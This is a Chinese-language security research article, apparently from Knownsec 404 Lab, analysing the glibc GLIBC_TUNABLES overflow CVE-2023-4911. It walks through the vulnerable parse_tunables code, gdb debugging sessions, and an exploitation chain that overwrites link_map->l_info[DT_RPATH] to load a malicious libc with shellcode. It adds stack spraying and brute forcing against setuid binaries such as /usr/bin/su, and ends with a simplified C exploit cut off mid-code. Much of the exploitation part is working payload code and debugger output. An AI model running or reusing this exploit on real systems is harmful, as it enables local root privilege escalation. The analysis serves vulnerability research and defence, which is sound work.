前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >原创 Paper | glibc 提权漏洞(CVE-2023-4911)分析

原创 Paper | glibc 提权漏洞(CVE-2023-4911)分析

作者头像
Seebug漏洞平台
发布2023-12-19 12:37:33
6571
发布2023-12-19 12:37:33
举报
文章被收录于专栏:Seebug漏洞平台

作者:Hcamael@知道创宇404实验室

时间:2023年12月18日

1.前言

参考资料

最近 glibc 被曝出一个漏洞:CVE-2023-4911。初步观察表明,该漏洞具有较为严重的潜在危害。本文旨在分析该漏洞,评估该漏洞的利用难度和危害。

2. 信息收集

参考资料

网上能搜集到的信息如下:

  • 漏洞详情[1]
  • 在环境 glibc 2.35-0ubuntu3 (aarch64) 和 glibc 2.36-9+deb12u2 (amd64)下测试通过的 exp[2]

3. 漏洞点

参考资料

我们先通过详情来看漏洞点,根据漏洞详情中的介绍,该漏洞位于 glibc 的elf/dl-tunables.c文件中的parse_tunables函数:

代码语言:javascript
复制
static void
parse_tunables (char *tunestr, char *valstring)
{
  if (tunestr == NULL || *tunestr == '\0')
    return;

  char *p = tunestr;
  size_t off = 0;

  while (true)
    {
      char *name = p;
      size_t len = 0;

      /* First, find where the name ends.  */
      while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
    len++;

      /* If we reach the end of the string before getting a valid name-value
     pair, bail out.  */
      if (p[len] == '\0')
    {
      if (__libc_enable_secure)
        tunestr[off] = '\0';
      return;
    }

      /* We did not find a valid name-value pair before encountering the
     colon.  */
      if (p[len]== ':')
    {
      p += len + 1;
      continue;
    }

      p += len + 1;

      /* Take the value from the valstring since we need to NULL terminate it.  */
      char *value = &valstring[p - tunestr];
      len = 0;

      while (p[len] != ':' && p[len] != '\0')
    len++;

      /* Add the tunable if it exists.  */
      for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
    {
      tunable_t *cur = &tunable_list[i];

      if (tunable_is_name (cur->name, name))
        {
          /* If we are in a secure context (AT_SECURE) then ignore the
         tunable unless it is explicitly marked as secure.  Tunable
         values take precedence over their envvar aliases.  We write
         the tunables that are not SXID_ERASE back to TUNESTR, thus
         dropping all SXID_ERASE tunables and any invalid or
         unrecognized tunables.  */
          if (__libc_enable_secure)
        {
          if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
            {
              if (off > 0)
            tunestr[off++] = ':';

              const char *n = cur->name;

              while (*n != '\0')
            tunestr[off++] = *n++;

              tunestr[off++] = '=';

              for (size_t j = 0; j < len; j++)
            tunestr[off++] = value[j];
            }

          if (cur->security_level != TUNABLE_SECLEVEL_NONE)
            break;
        }

          value[len] = '\0';
          tunable_initialize (cur, value);
          break;
        }
    }

      if (p[len] != '\0')
    p += len + 1;
    }
}

调用该函数的代码位于该文件的__tunables_init函数中:

代码语言:javascript
复制
void
__tunables_init (char **envp)
{
  char *envname = NULL;
  char *envval = NULL;
  size_t len = 0;
  char **prev_envp = envp;

  maybe_enable_malloc_check ();

  while ((envp = get_next_env (envp, &envname, &len, &envval,
                   &prev_envp)) != NULL)
    {
#if TUNABLES_FRONTEND == TUNABLES_FRONTEND_valstring
      if (tunable_is_name (GLIBC_TUNABLES, envname))
    {
      char *new_env = tunables_strdup (envname);
      if (new_env != NULL)
        parse_tunables (new_env + len + 1, envval);
      /* Put in the updated envval.  */
      *prev_envp = new_env;
      continue;
    }
#endif
......
}

相关代码不长,仔细看几遍代码就能理解,理解困难的话建议加上调试,此处我就总结一下该漏洞触发的流程。

1.匹配环境变量GLIBC_TUNABLES

2.该环境变量的值使用tunables_strdup函数,类似strdup函数,就是把字符串放到上,但是因为这个时候 libc 还没有初始化完成,所以使用的是__minimal_malloc

3.接着调用 parse_tunables 函数来处理GLIBC_TUNABLES环境变量的值。

4.libc 有一个表:tunable_list,可以通过 gdb 来输出一下这个表的信息。

5.当__libc_enable_secure启用使用,并且安全等级不是TUNABLE_SECLEVEL_SXID_ERASE时,会对环境变量进行一些处理,而这个处理就造成缓冲区溢出漏洞。

溢出的原因请仔细阅读parse_tunables函数代码,这里不再展开。不过下面给出一个示例来演示一下溢出的过程,这里有一个要注意的地方:gdb 没办法直接调试 suid 的程序,需要用到一个小技巧。

首先写一个中间程序:

代码语言:javascript
复制
// a.c
#include <unistd.h>
int main(int argc, char *argv[])
{
  char *cmd[] = {"/usr/bin/su", "--help"};
  char *envp[] = {"GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A"};
    execve(cmd[0], cmd, envp);
    return 0;
}
// gcc a.c -o a

再编写一个.gdbinit文件:

代码语言:javascript
复制
$ cat .gdbinit
start
set follow-exec-mode new
dir /usr/src/glibc/glibc-2.35/elf/
b __GI___tunables_init
c

接着就能开始使用 gdb 进行调试:

代码语言:javascript
复制
$ gdb a
 ? 0x7f43e9d6c560 <__GI___tunables_init>       endbr64
# 接着找到 tunables_strdup 函数中 __minimal_malloc 的位置,找到申请的内存地址
pwndbg> b *(__GI___tunables_init+511)
pwndbg> c
 ? 0x7f43e9d6c75f <__GI___tunables_init+511>    call   __minimal_malloc                <__minimal_malloc>
        rdi: 0x3a
pwndbg> ni
*RAX  0x7f43e9d902e0 ?— 0x0
# 然后断点下到 parse_tunables
pwndbg> b parse_tunables
pwndbg> c
pwndbg> x/4s 0x7f43e9d902e0
0x7f43e9d902e0: "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A"
0x7f43e9d90319: ""
0x7f43e9d9031a: ""
0x7f43e9d9031b: ""
# 确认一下 __libc_enable_secure = 1
pwndbg> p __libc_enable_secure
$1 = 1
# 接着找到 parse_tunables 结束的代码
pwndbg> b *(__GI___tunables_init+729)
pwndbg> c
pwndbg> x/4s 0x7f43e9d902e0
0x7f43e9d902e0: "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A:glibc.malloc.mxfast=A:glibc.malloc.mxfast=u:glibc.malloc.mxfast=" # 缓冲区溢出
0x7f43e9d9035a: ""
0x7f43e9d9035b: ""
0x7f43e9d9035c: ""

4.利用条件

参考资

先来说说该漏洞利用的一些前置条件,通过parse_tunables函数的代码,可以发现,只有当__libc_enable_secure == 1的情况下,才会进入有漏洞的分支,那么什么情况下__libc_enable_secure=1呢?

翻阅 glibc 的代码,发现__libc_init_secure函数:

代码语言:javascript
复制
void
__libc_init_secure (void)
{
  if (__libc_enable_secure_decided == 0)
    __libc_enable_secure = (startup_geteuid () != startup_getuid ()
                || startup_getegid () != startup_getgid ());
}

也就是说,只有当运行 suid/sgid 程序时,__libc_enable_secure才会等于 1,如下所示:

代码语言:javascript
复制
$ id
uid=1000(ubuntu) gid=1000(ubuntu)
$ ls -alF /usr/bin/su
-rwsr-xr-x 1 root root 55672 Feb 21  2022 /usr/bin/su*
# su程序的__libc_enable_secure=1
$ ls -alF test1
-rwsrwsr-x 1 www-data www-data 17224 Oct 13 22:06 test1*
# 运行test1程序,__libc_enable_secure也等于1
$ ls -alF test2
-rwsrwsr-x 1 ubuntu ubuntu 17224 Oct 13 22:06 test2*
# 运行test2程序,__libc_enable_secure等于0

也就是说,该漏洞的作用其实是用来越权,但是从一个受限用户越权到另一个受限用户的作用有限,不如从普通用户越权到 root 用户,以达到提权的效果。所以该漏洞最后的利用思路就是用来提权,本质上就是去溢出(PWN) 一个有 root 权限的程序,所以和内核提权的漏洞还是有本质上的区别。

再加上,该漏洞的输入点位于环境变量,所以该漏洞也就只能用来提权。

5. 漏洞利用

参考资料

首先,我想说一下该部分的内容。在完全理解漏洞发现者的利用思路后,我发现 glibc 的代码量还是非常大的,我目前也做不到对 glibc 的每个细节都了如指掌,所以暂时也没想到比该利用思路更完美的方法,以下内容只是分享一下我对该利用思路的研究过程和理解。

1.简单地浏览一下公开的exp代码,发现如下代码:

代码语言:javascript
复制
    with open(hax_path["path"] + b"/libc.so.6", "wb") as fh:
        fh.write(libc_e.d[0:__libc_start_main])
        fh.write(shellcode)
        fh.write(libc_e.d[__libc_start_main + len(shellcode) :])

随后可进行推测,因为漏洞是发生在ld加载程序中,所以可能替换掉 libc 的加载路径,就能加载自己修改过的恶意 libc 库。而加载程序 libc 时会默认运行起始函数的代码,起始函数是__libc_start_main函数,所以把这部分的代码替换成自己要执行的 shellcode,那么加载恶意 libc 库的时候就会执行恶意嵌入的 shellcode 代码。

接下来就是开始研究该漏洞是如何替换掉 libc 的加载路径。

2.在相应的环境上运行一下,ASLR 开启的情况下,exp 不是一次就能成功的,ASLR 关闭的情况下没利用成功,暂且不管。

3.继续看exp代码,发现跟程序地址有关的只有一个stack_top地址,表示栈顶地址,而且经过计算后,最后的payload中,该地址是一个定值,不会发现变化。我对这种利用方式深感好奇,认为这一利用思路非常巧妙,仅需覆盖一个栈地址即可替换 libc 的加载路径。

4.接下来我花一些时间去一步步调试,最后理解清楚该利用思路。为了节省大家时间,这里用一个 demo,然后缩减 exp 的内容,来帮助大家理解该利用思路。

首先写一个测试程序:

代码语言:javascript
复制
// test.c
#include <stdio.h>

unsigned long ptr = -0x18ULL;

int main(int argc, char *argv[])
{
    printf("Hello World.");
    return 0;
}
// gcc test.c -g -no-pie -o test
// ls -alF test
// -rwsrwsr-x 1 root root 17224 Oct 13 22:06 test*

我们设置的第一个环境变量为:

代码语言:javascript
复制
char fill[0xd00];
strcpy(fill, "GLIBC_TUNABLES=glibc.malloc.mxfast=");
for (int i = strlen(fill1); i < (0xd00 - 1); i++)
{
        fill[i] = 'A';
}
fill[0xd00 - 1] = '\0';

这部分将会调用__minimal_malloc(0xd00 + 1),这个时候的内存信息如下:

代码语言:javascript
复制
RAX  0x7f4109f8f2e0 ?— 0x0     # malloc的返回值
pwndbg> vmmap
0x7f4109f8c000     0x7f4109f90000 rw-p     4000 37000  /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
> hex(0x7f4109f8f2e0 + 0xd01)
'0x7f4109f8ffe1'
> hex(0x7f4109f90000 - 0x7f4109f8ffe1)
'0x1f'

也就是说,这部分内存区域只剩下 0x1f 字节,如果后续还要调用 malloc,那么则会通过 mmap 申请一段新内存区域。

第一部分不会触发溢出漏洞。

设置的第二部分环境变量为:

代码语言:javascript
复制
#define PAYLOAD_SIZE 0x100
char payload[PAYLOAD_SIZE];

strcpy(payload, "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=");
for (int i = strlen(payload); i < PAYLOAD_SIZE - 1; i++)
{
    payload[i] = 'B';
}
    payload[PAYLOAD_SIZE - 1] = '\0';

第二部分将会调用__minimal_malloc(0x100 + 1),这个时候的内存信息如下:

代码语言:javascript
复制
*RAX  0x7f4109f52000 ?— 0x0     # malloc的返回值
pwndbg> vmmap
  0x7f4109f52000     0x7f4109f54000 rw-p     2000 0      [anon_7f4109f52]
> hex(0x7f4109f52000 + 0x100)
'0x7f4109f52100'

如果我们构造的代码到此为止,那么下一次 ld 获取内存是位于_dl_new_object函数中,调用__minimal_calloc函数,调试情况如下所示:

代码语言:javascript
复制
pwndbg> b *(_dl_new_object+109)
pwndbg> c
   0x7f4908e899fd <_dl_new_object+109>     call   qword ptr [rip + 0x2c06d]     <__minimal_calloc>
pwndbg> ni
*RAX  0x7f4908e74c40 ?— 0x0

调用_dl_new_object是为了给struct link_map结构体申请内存,所以可以查看一下该结构:

代码语言:javascript
复制
pwndbg> b *(_dl_new_object+115)
pwndbg> c
   0x7ffaa8c249fd <_dl_new_object+109>: call   QWORD PTR [rip+0x2c06d]        # 0x7ffaa8c50a70 <__rtld_calloc> # __minimal_calloc
=> 0x7ffaa8c24a03 <_dl_new_object+115>: mov    r14,rax
pwndbg> p *((struct link_map *) $rax)
$1 = {
  l_addr = 4774451407232463713,
  l_name = 0x4242424242424242 <error: Cannot access memory at address 0x4242424242424242>,
  l_ld = 0x4242424242424242,
  l_next = 0x4242424242424242,
  l_prev = 0x4242424242424242,
  l_real = 0x4242424242424242,
  l_ns = 4774451407313060418,
  l_libname = 0x4242424242424242,
  l_info = {0x4242424242424242 <repeats 17 times>, 0x696c673a42424242, 0x6f6c6c616d2e6362, 0x74736166786d2e63, 0x3d, 0x0 <repeats 24 times>, 0x2e6362696c673a00, 0x6d2e636f6c6c616d, 0x3d7473616678, 0x0 <repeats 29 times>},

通过该结构的数据发现,我们可以成功覆盖struct link_map结构体,所以这个时候产生了一个思路:通过覆盖该结构体的某个指针来达到命令执行的目的,而这需要对 glibc 的代码非常熟悉,加上调试测试,才可能找到一个可行的利用链。

而漏洞发现者找到的利用链,利用到了link_map->l_info[DT_RPATH]成员变量,相关代码位于elf/dl-load.c文件的_dl_init_paths函数:

代码语言:javascript
复制
void
_dl_init_paths (const char *llp, const char *source,
        const char *glibc_hwcaps_prepend,
        const char *glibc_hwcaps_mask)
{
......
      if (l->l_info[DT_RPATH])
    {
      /* Allocate room for the search path and fill in information
         from RPATH.  */
      decompose_rpath (&l->l_rpath_dirs,
               (const void *) (D_PTR (l, l_info[DT_STRTAB])
                       + l->l_info[DT_RPATH]->d_un.d_val),
               l, "RPATH");
      /* During rtld init the memory is allocated by the stub
         malloc, prevent any attempt to free it by the normal
         malloc.  */
      l->l_rpath_dirs.malloced = 0;
    }
      else
    l->l_rpath_dirs.dirs = (void *) -1;
    }
......

关于DT_RPATH的用法,可以 Google 搜索一下:

简单来说,DT_RPATH的值是一个偏移值,如果设置该值,那么就会在执行程序的DT_STRTAB表中搜索字符串作为 libc 的搜索路径。

这样就产生一条利用链:通过内存溢出,设置link_map->l_info[DT_RPATH],从而控制libc库加载的搜索路径,加载恶意的 libc.so 来达到命令执行目的。

我们来简单测试一下:

代码语言:javascript
复制
pwndbg> x/10gx 0x404028
0x404028:   0x0000000000000000  0xffffffffffffffe8     # 这个就是我们test.c代码中设置的unsigned long ptr = -0x18ULL;
0x404038 <completed.0>: 0x0000000000000000  0x0000000000000000
0x404048:   0x0000000000000000  0x0000000000000000
0x404058:   0x0000000000000000  0x0000000000000000
pwndbg> b *(_dl_init_paths+669)
pwndbg> c
 ? 0x7f8596e999ad <_dl_init_paths+669>    mov    rax, qword ptr [rbx + 0xb8]   // l->l_info[DT_RPATH] = [rbx + 0xb8]
   0x7f8596e999b4 <_dl_init_paths+676>    mov    qword ptr [rbx + 0x3c0], -1
   0x7f8596e999bf <_dl_init_paths+687>    test   rax, rax
   0x7f8596e999c2 <_dl_init_paths+690>    je     _dl_init_paths+949                <_dl_init_paths+949>
────────[ SOURCE (CODE) ]─────────
In file: /usr/src/glibc/glibc-2.35/elf/dl-load.c
   804   else
   805     {
   806       l->l_runpath_dirs.dirs = (void *) -1;
   807
 ? 808       if (l->l_info[DT_RPATH])
   809  {
   810    /* Allocate room for the search path and fill in information
   811       from RPATH.  */
   812    decompose_rpath (&l->l_rpath_dirs,
   813             (const void *) (D_PTR (l, l_info[DT_STRTAB])
pwndbg> x/gx $rbx + 0xb8
0x7fb757376398: 0x0000000000000000
pwndbg> set *0x7fb757376398=0x404028
pwndbg> p ((struct link_map *) $rbx)->l_info[15]
$4 = (Elf64_Dyn *) 0x404028
pwndbg> b *(_dl_init_paths+718)
pwndbg> c
 ? 0x7fb7573439de <_dl_init_paths+718>    add    rsi, qword ptr [rax + 8]      <ptr>
   0x7fb7573439e2 <_dl_init_paths+722>    lea    rdi, [rbx + 0x330]
   0x7fb7573439e9 <_dl_init_paths+729>    lea    rcx, [rip + 0x253c8]
   0x7fb7573439f0 <_dl_init_paths+736>    add    rsi, rdx
   0x7fb7573439f3 <_dl_init_paths+739>    mov    rdx, rbx
   0x7fb7573439f6 <_dl_init_paths+742>    call   decompose_rpath                <decompose_rpath>
────────[ SOURCE (CODE) ]─────────
In file: /usr/src/glibc/glibc-2.35/elf/dl-load.c
   809  {
   810    /* Allocate room for the search path and fill in information
   811       from RPATH.  */
   812    decompose_rpath (&l->l_rpath_dirs,
   813             (const void *) (D_PTR (l, l_info[DT_STRTAB])
 ? 814                     + l->l_info[DT_RPATH]->d_un.d_val),
   815             l, "RPATH");

pwndbg> b *(_dl_init_paths+742)
pwndbg> c
 ? 0x7fb7573439f6 <_dl_init_paths+742>    call   decompose_rpath                <decompose_rpath>
        rdi: 0x7fb757376610 ?— 0x0
        rsi: 0x400418 ?— 0x200000003b /* ';' */
        rdx: 0x7fb7573762e0 ?— 0x0
        rcx: 0x7fb757368db8 ?— 0x3b3a004854415052 /* 'RPATH' */

路径就是decompose_rpath函数的第二个参数,是一个指针,其值为0x400418,指向";"字符串,那么该值是如何算出来的?STRTAB 地址为0x400430,我们设置的l->l_info[DT_RPATH]->d_un.d_val = -0x18,两者相加,就等于0x400418。接着继续调试:

代码语言:javascript
复制
# 执行完decompose_rpath后,查看link_map结构体
pwndbg> p **(((struct link_map *) $rbx)->l_rpath_dirs->dirs)
$7 = {
  next = 0x7f33ac209000,
  what = 0x7f33ac238db8 "RPATH",
  where = 0x7f33ac2091bb "",
  dirname = 0x7f33ac2091b8 ";/",     # 成功设置了libc搜索路径
  dirnamelen = 2,
  status = 0x7f33ac209198
}
pwndbg> b open_verify
Breakpoint 4 at 0x7f33ac211940 (2 locations)
pwndbg> c
*RDI  0x7fff0b17b0a0 ?— ';/tls/x86_64/x86_64/libc.so.6'
# 这里可以一直按c,查看rdi寄存器,最简单的路径如下
*RDI  0x7fff0b17b0a0 ?— ';/libc.so.6'
# 接着就可以关闭断点,继续执行了,就可以得到shell,如果执行失败,那可能是因为你没创建';/libc.so.6'文件
pwndbg> c
$ id
uid=1000(ubuntu) gid=1000(ubuntu)

由于是使用 gdb 进行调试,所以没能获得 root 权限,但是这并不构成问题。只要我们走通流程,就可以进入下一步。

我们该如何覆盖到link_map->l_info[DT_RPATH]结构?我们已知,在执行完__tunables_init函数后,下一次申请内存地址就是在_dl_new_object函数,也就是说,我们要覆盖的地址和我们溢出的内存是相邻的。

也就是要溢出覆盖到之后偏移为0xb8的地址 ,并且这区间的地址值建议覆盖成\\0,防止 glibc 代码中有相关的检查导致报错。

我研究出一种简单的方法来快速调试需要覆盖的地址偏移:

1.我们断点下在_dl_new_object函数的calloc处,也就是_dl_new_object+109,方便调试,查看内存布局

2.在exp.c中,envp[0] = fill1;用来填充旧的内存区域,envp[1] = payload;用来进行内存溢出。

因此之后要留有一部分区域置 0,直到设置到\xb8:

代码语言:javascript
复制
for (int i=2;i<ENVP_SIZE-1;i++)
  envp[i] = "";
envp[0x20 + 0xb8] = "\x28\x40\x40";
# payload 的长度随便设置,暂时选择了 0x100

接着调试,看看我们这样的布局能溢出成怎样的内存布局:

代码语言:javascript
复制
pwndbg> b *(_dl_new_object+109)
pwndbg> c
pwndbg> vmmap
    0x7fca03d3c000     0x7fca03d3e000 rw-p     2000 0      [anon_7fca03d3c]
pwndbg> x/64gx 0x7fca03d3c000 + 0x100
......
0x7fca03d3c1f0: 0x000000000000003d  0x0000000000000000
0x7fca03d3c200: 0x0000000000000000  0x0000000000000000
0x7fca03d3c210: 0x0000000000000000  0x0000000000000000
0x7fca03d3c220: 0x0000000000000000  0x0000000000000000
0x7fca03d3c230: 0x0000000000000000  0x0000000000000000
0x7fca03d3c240: 0x0000000000000000  0x0000000000000000
0x7fca03d3c250: 0x0000000000000000  0x0000000000000000
0x7fca03d3c260: 0x0000000000000000  0x0000000000000000
0x7fca03d3c270: 0x0000000000000000  0x0000000000000000
0x7fca03d3c280: 0x0000000000000000  0x0000000000000000
0x7fca03d3c290: 0x0000000000000000  0x0000000000000000
0x7fca03d3c2a0: 0x0000000000000000  0x0000000000000000
0x7fca03d3c2b0: 0x0000404028000000  0x2e6362696c673a00
0x7fca03d3c2c0: 0x6d2e636f6c6c616d  0x00003d7473616678
0x7fca03d3c2d0: 0x0000000000000000  0x0000000000000000
0x7fca03d3c2e0: 0x0000000000000000  0x0000000000000000
0x7fca03d3c2f0: 0x0000000000000000  0x0000000000000000

我们覆盖的值为0x404028,从上面可以看出该值的地址为: 0x7fca03d3c2b3,计算一下:

代码语言:javascript
复制
>>> hex(0x7fca03d3c2b3 - 0x7fca03d3c1f8)
'0xbb'
# 发现大于0xb8

从这里可以得知link_map结构体的前部分结构应该没有问题,但是问题在于后部:

代码语言:javascript
复制
pwndbg> x/6gx 0x7fca03d3c2b3
0x7fca03d3c2b3: 0x673a000000404028  0x6c616d2e6362696c
0x7fca03d3c2c3: 0x6166786d2e636f6c  0x00000000003d7473
0x7fca03d3c2d3: 0x0000000000000000  0x0000000000000000
pwndbg> x/5s 0x7fca03d3c2b3
0x7fca03d3c2b3: "(@@"
0x7fca03d3c2b7: ""
0x7fca03d3c2b8: ""
0x7fca03d3c2b9: ":glibc.malloc.mxfast="
0x7fca03d3c2cf: ""

受漏洞点的限制,溢出的结尾必定有:xxxxx=字符,我们要做的就是让该字符,离link_map结构远一点,或者该部分区域会在ld中进行初始化设置。

想要精细的调整,需要去研究哪些结构可以不置 0,但是我认为这种程度的精细调整并非必要,只需要调整payload的长度,和envp[0x20 + 0xb8]前部分这个偏移值,让:xxxxx=字符串不影响到我们覆盖的地址就行。先这样使用,如果遇到报错,则继续调整,这样我们就没有必要继续阅读 glibc 源码。

当我把payload的大小调整为0x200时,这个时候的内存布局如下:

代码语言:javascript
复制
pwndbg> vmmap
    0x7f94440ce000     0x7f94440d0000 rw-p     2000 0      [anon_7f94440ce]
pwndbg> x/2gx 0x7f94440ce000 + 0x200
0x7f94440ce200: 0x616d2e6362696c67  0x66786d2e636f6c6c
pwndbg> x/8gx 0x7f94440ce4b3
0x7f94440ce4b3: 0x0000000000404028  0x0000000000000000
0x7f94440ce4c3: 0x0000000000000000  0x0000000000000000
0x7f94440ce4d3: 0x0000000000000000  0x0000000000000000
0x7f94440ce4e3: 0x0000000000000000  0x0000000000000000
pwndbg> x/32gx 0x7f94440ce4b3 - 0xb8
0x7f94440ce3fb: 0x0000000000000000  0x0000000000000000
0x7f94440ce40b: 0x0000000000000000  0x0000000000000000
0x7f94440ce41b: 0x0000000000000000  0x0000000000000000
0x7f94440ce42b: 0x0000000000000000  0x0000000000000000
0x7f94440ce43b: 0x0000000000000000  0x0000000000000000
0x7f94440ce44b: 0x0000000000000000  0x0000000000000000
0x7f94440ce45b: 0x0000000000000000  0x0000000000000000
0x7f94440ce46b: 0x0000000000000000  0x0000000000000000
0x7f94440ce47b: 0x0000000000000000  0x0000000000000000
0x7f94440ce48b: 0x0000000000000000  0x0000000000000000
0x7f94440ce49b: 0x0000000000000000  0x0000000000000000
0x7f94440ce4ab: 0x0000000000000000  0x0000000000404028

从上面的内存布局来看,我们构造的link_map结构是没问题的,但是怎么让link_map申请的内存段为我们设置好的这段呢?我们先算一下,我们需要让link_map = 0x7f94440ce3fb,那么:

代码语言:javascript
复制
>>> hex(0x7f94440ce3fb - 0x7f94440ce200)
'0x1fb'

中间这0x1fb字节需要被填充。另外需要考虑对齐的问题,堆分配到的地址不可能结尾地址为0xfb,所以还需要微调一下:envp[0x25 + 0xb8] = "\x28\x40\x40";

再看一下内存结构:

代码语言:javascript
复制
pwndbg> vmmap
    0x7f52386a6000     0x7f52386a8000 rw-p     2000 0      [anon_7f52386a6]
pwndbg> x/2gx 0x7f52386a6000 + 0x200
0x7f52386a6000: 0x616d2e6362696c67  0x66786d2e636f6c6c
pwndbg> x/2gx 0x7f52386a64b8
0x7f52386a64b8: 0x0000000000404028  0x0000000000000000
pwndbg> x/32gx 0x7f52386a64b8 - 0xb8
0x7f52386a6400: 0x0000000000000000  0x0000000000000000
0x7f52386a6410: 0x0000000000000000  0x0000000000000000
0x7f52386a6420: 0x0000000000000000  0x0000000000000000
0x7f52386a6430: 0x0000000000000000  0x0000000000000000
0x7f52386a6440: 0x0000000000000000  0x0000000000000000
0x7f52386a6450: 0x0000000000000000  0x0000000000000000
0x7f52386a6460: 0x0000000000000000  0x0000000000000000
0x7f52386a6470: 0x0000000000000000  0x0000000000000000
0x7f52386a6480: 0x0000000000000000  0x0000000000000000
0x7f52386a6490: 0x0000000000000000  0x0000000000000000
0x7f52386a64a0: 0x0000000000000000  0x0000000000000000
0x7f52386a64b0: 0x0000000000000000  0x0000000000404028
0x7f52386a64c0: 0x0000000000000000  0x0000000000000000
0x7f52386a64d0: 0x0000000000000000  0x0000000000000000
0x7f52386a64e0: 0x0000000000000000  0x0000000000000000
0x7f52386a64f0: 0x0000000000000000  0x0000000000000000
>>> hex(0x7f52386a6400 - 0x7f52386a6200 - 0x10)
'0x1F0'
# 减去 0x10 是因为 payload 长度为 0x200,实际 malloc 申请的是 0x201,再加上偏移,所以下一个堆其实地址应该是 +0x210

这样,我们就需要在前面填充 0x1F0 字节,那怎么填充呢?可以利用开头填充上一块堆的思路。

代码语言:javascript
复制
#define PADDING_SIZE 0x1F0
char padding[PADDING_SIZE-3];
strcpy(padding, "GLIBC_TUNABLES=");
for (int i = strlen(padding); i < (PADDING_SIZE - 4); i++)
{
        padding[i] = 'D';
}
padding[PADDING_SIZE - 4] = '\0';
envp[ENVP_SIZE-2] = padding;

调试看看:

代码语言:javascript
复制
pwndbg> b *(_dl_new_object+115)
pwndbg> c
pwndbg> p ((struct link_map *) $rax)->l_info[15]
$2 = (Elf64_Dyn *) 0x404028

内存布局没问题,这个时候就删除断点直接运行试试。发现成功执行命令,接着就是退出 gdb,直接执行我们的 exp 程序,成功获取到 root 权限。

5.1 结合实际

前面的内容帮我们把利用思路都给梳理好了,但是和实际还是有差距的,因为在实际环境中,不存在一个test程序, 这个我们测试用的test程序是没有开PIE的,所以我们写入0x404028地址,可以稳定触发。

我查找了 ubuntu 的实际程序,所有suid的程序都开启 PIE 保护,也就是说,我们没有一个已知地址。我又查看了内存布局,在执行ld代码的时候,内存布局大致如下:

代码语言:javascript
复制
pwndbg> vmmap
    0x55985479c000     0x55985479e000 r--p     2000 0      /usr/sbin/unix_chkpwd
    0x55985479e000     0x5598547a1000 r-xp     3000 2000   /usr/sbin/unix_chkpwd
    0x5598547a1000     0x5598547a2000 r--p     1000 5000   /usr/sbin/unix_chkpwd
    0x5598547a2000     0x5598547a4000 rw-p     2000 5000   /usr/sbin/unix_chkpwd
    0x7faf282aa000     0x7faf282ac000 r--p     2000 0      /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7faf282ac000     0x7faf282d6000 r-xp    2a000 2000   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7faf282d6000     0x7faf282e1000 r--p     b000 2c000  /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7faf282e2000     0x7faf282e6000 rw-p     4000 37000  /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffd042d5000     0x7ffd042f6000 rw-p    21000 0      [stack]
    0x7ffd0439e000     0x7ffd043a2000 r--p     4000 0      [vvar]
    0x7ffd043a2000     0x7ffd043a4000 r-xp     2000 0      [vdso]
0xffffffffff600000 0xffffffffff601000 --xp     1000 0      [vsyscall]

我们只能确定vsyscall地址,但是很抱歉,该地址没有可读权限,所以没办法利用。在没有已知地址的情况下,这个时候能想到的只有内存 Spray 了,比较合适的是 Stack Spray。

所以考虑通过环境变量来在栈上填充-0x14UL,代码如下:

代码语言:javascript
复制
#define STACK_SIZE 0x20000
char stack_spray[STACK_SIZE];
for (int i = 0; i < STACK_SIZE; i += 8)
{
    *(uintptr_t *)(stack_spray + i) = -0x14ULL;
}
stack_spray[STACK_SIZE - 1] = '\0';

for (int i = 0; i < 0x2F; i++)
{
    envp[0x180 + i] = stack_spray;
}

一般情况下可能会报错:execve("/usr/bin/su", ["/usr/bin/su", "--help"], 0x7fff64f33a50 /* 499 vars */) = -1 E2BIG (Argument list too long)

可以在 execve 前调用一下下方代码,可以让缓冲区扩大到:0x20000 * 0x2F:

代码语言:javascript
复制
    struct rlimit rlim = {RLIM_INFINITY, RLIM_INFINITY};
  if (setrlimit(RLIMIT_STACK, &rlim) < 0)
  {
    perror("setrlimit");
  }

剩下的任务就是确定一个栈地址,接着就是顺其自然的爆破了。

6. 相关代码

参考资料

最后贴一下简化版的相关代码:

代码语言:javascript
复制
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <sys/resource.h>
#include <stdio.h>
#include <time.h>
#include <sys/wait.h>


#define ENVP_SIZE 600
#define PADDING_SIZE 0x1F0
#define STACK_SIZE 0x20000

int64_t time_us()
{
    struct timespec tms;

    /* POSIX.1-2008 way */
    if (clock_gettime(CLOCK_REALTIME, &tms))
    {
        return -1;
    }
    /* seconds, multiplied with 1 million */
    int64_t micros = tms.tv_sec * 1000000;
    /* Add full microseconds */
    micros += tms.tv_nsec / 1000;
    /* round up if necessary */
    if (tms.tv_nsec % 1000 >= 500)
    {
        ++micros;
    }
    return micros;
}

int main(int argc, char *argv[])
{
//  char *nargv[] = {"/home/hehe/Documents/libc-exp/test",  NULL};
        char *nargv[] = {"/usr/bin/su", "--help", 0};
        char *envp[ENVP_SIZE] = {0, };
    char fill1[0xd00];
    char payload[0x200];
    char padding[PADDING_SIZE-3];
    char stack_spray[STACK_SIZE];

    strcpy(fill1, "GLIBC_TUNABLES=glibc.malloc.mxfast=");
    for (int i = strlen(fill1); i < sizeof(fill1) - 1; i++)
        {
            fill1[i] = 'A';
        }
        fill1[sizeof(fill1) - 1] = '\0';

    strcpy(payload, "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=");
        for (int i = strlen(payload); i < sizeof(payload) - 1; i++)
        {
            payload[i] = 'B';
        }
        payload[sizeof(payload) - 1] = '\0';

    strcpy(padding, "GLIBC_TUNABLES=");
    for (int i = strlen(padding); i < (PADDING_SIZE - 4); i++)
    {
        padding[i] = 'D';
    }
    padding[PADDING_SIZE - 4] = '\0';

    for (int i = 0; i < STACK_SIZE; i += 8)
    {
        *(uintptr_t *)(stack_spray + i) = -0x14ULL;
